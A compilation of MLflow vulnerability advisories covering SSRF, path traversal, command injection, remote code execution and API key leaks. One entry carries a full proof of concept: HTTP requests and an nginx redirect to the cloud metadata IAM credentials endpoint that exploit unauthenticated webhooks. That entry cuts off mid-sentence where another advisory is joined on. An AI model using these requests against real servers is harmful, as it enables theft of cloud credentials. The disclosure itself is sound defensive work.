MLflow through 3.18.0 contains a server-side request forgery vulnerability in the AI Gateway LiteLLM provider that allows gateway users to redirect upstream requests by supplying unchecked host parameters. Attackers can set aws_bedrock_runtime_endpoint in request payloads to loopback or private network addresses, making the MLflow server send provider requests to internal hosts.
MLflow versions before 3.18.0 using the FileStore backend have a path traversal vulnerability. This flaw allows unauthenticated remote attackers to write files outside the intended directory by exploiting the model_id parameter in the log outputs API. The vulnerability enables attackers to create directories and write files at arbitrary filesystem locations, constrained only by the server's permissions. FileStore was the default backend before version 3.7.0 and remains opt-in afterward.
MLflow tracking servers running without authentication or with basic authentication are vulnerable to an arbitrary file read vulnerability via crafted model versions tagged as prompts with schemeless local paths. This allows remote attackers to read arbitrary files on the server filesystem with the privileges of the MLflow server process. The vulnerability affects MLflow versions 3.10.0 through 3.16.1 and is fixed in version 3.17.0.
MLflow's CrewAI autologging feature in versions >=2.19.0 and <3.17.0 leaks CrewAI LLM provider API keys in trace telemetry. The vulnerability arises because MLflow serializes the CrewAI Agent object's __dict__ including the LLM object, whose string representation contains the API key in plaintext. This sensitive information is unintentionally sent to MLflow's trace backend or any configured OTLP destination without explicit logging by the application. The issue affects MLflow 3.16.0 with CrewAI 1.15.18 and is fixed in MLflow 3.17.0.
MLflow versions from 3.12.0rc0 up to but not including 3.17.0 are vulnerable to unauthenticated remote code execution via a flaw in third-party scorer deserialization. The vulnerability arises because the server imports and instantiates Python classes from request-controlled module paths under allowed package prefixes, which can be exploited by uploading malicious Python modules into writable artifact directories within these allowed packages. This leads to arbitrary code execution with the privileges of the MLflow server process, which by default runs as root in the official image. The issue is critical and has a CVSS score of 9.8. A fix is available in MLflow 3.17.0.
MLflow versions 3.17.1 and earlier have a path traversal vulnerability in the FileStore tracking backend. This flaw allows unauthenticated attackers to submit crafted trace IDs with traversal sequences to the POST /api/3.0/mlflow/traces endpoint, enabling arbitrary file writes outside the intended experiment trace directory. The vulnerability affects deployments using FileStore as the tracking backend, which was the default before version 3.7.0 and optional thereafter. A fix is available in version 3.18.0.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
MLflow AI Gateway versions 3.13.0 through 3.15.2 contain a server-side request forgery (SSRF) vulnerability due to lack of validation on the api_base parameter when creating a gateway secret. Any authenticated user, including those with read-only access, can create a secret with a malicious api_base pointing to internal addresses. This allows the gateway proxy endpoint to issue HTTP requests to arbitrary internal resources, potentially exposing sensitive cloud instance metadata and IAM credentials. The vulnerability arises because the existing SSRF protections are not applied to this code path, and the CreateGatewaySecret action lacks specific permission scope enforcement.
Mlflow versions up to 3.10.1 have a critical vulnerability where FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when basic-auth is enabled. This allows any network client to submit, read, search, and cancel jobs without credentials if job execution is enabled and jobs are allowlisted. The flaw can lead to unauthenticated remote code execution if allowed jobs perform privileged actions. Even if jobs are safe, this bypass constitutes an authentication bypass that can cause job spam, denial of service, or data exposure.
Mlflow versions prior to 3.9.0 contain a command injection vulnerability when serving models with the enable_mlserver option enabled. The vulnerability arises because the model_uri parameter is embedded unsafely into a shell command executed via bash, allowing an attacker to inject shell metacharacters and execute arbitrary commands. This can lead to privilege escalation if the service runs with higher privileges and serves models from directories writable by lower-privileged users. A fix is available in version 3.9.0.
CVE-2025-15379 is a critical command injection vulnerability in MLflow versions prior to 3.8.1. It occurs in the model serving container initialization code when deploying models with the env_manager=LOCAL option. The vulnerability arises because MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without proper sanitization. This allows an attacker who can supply a malicious model artifact to execute arbitrary commands on the system with the same privileges as the MLflow process. The issue is fixed in MLflow version 3.8.1.
A critical path traversal vulnerability (CVE-2025-15036) exists in the mlflow project in the extract_archive_to_dir function. This flaw allows an attacker who can supply a crafted tar.gz archive to overwrite arbitrary files on the system, potentially leading to privilege escalation or sandbox escape in multi-tenant or shared cluster environments. The vulnerability affects versions before 3.9.0rc0 and has been fixed in version 3.9.0rc0. The vulnerability has a high CVSS score of 9.6, indicating severe impact on confidentiality, integrity, and availability.
CVE-2025-11201 is a directory traversal vulnerability in MLflow Tracking Server that allows remote attackers to execute arbitrary code without authentication. The flaw arises from improper validation of user-supplied model file paths, enabling code execution with the service account's privileges. Versions prior to 3.0.0 and before 2.22.4 are affected. A patch is available in MLflow versions 3.0.0 and 2.22.4.
CVE-2025-11200 is a high-severity vulnerability in MLflow versions prior to 2.22.0rc0 that allows remote attackers to bypass authentication due to weak password requirements. Exploitation does not require prior authentication. The flaw arises from insufficient password strength enforcement, enabling attackers to gain unauthorized access. A fix is available in version 2.22.0rc0.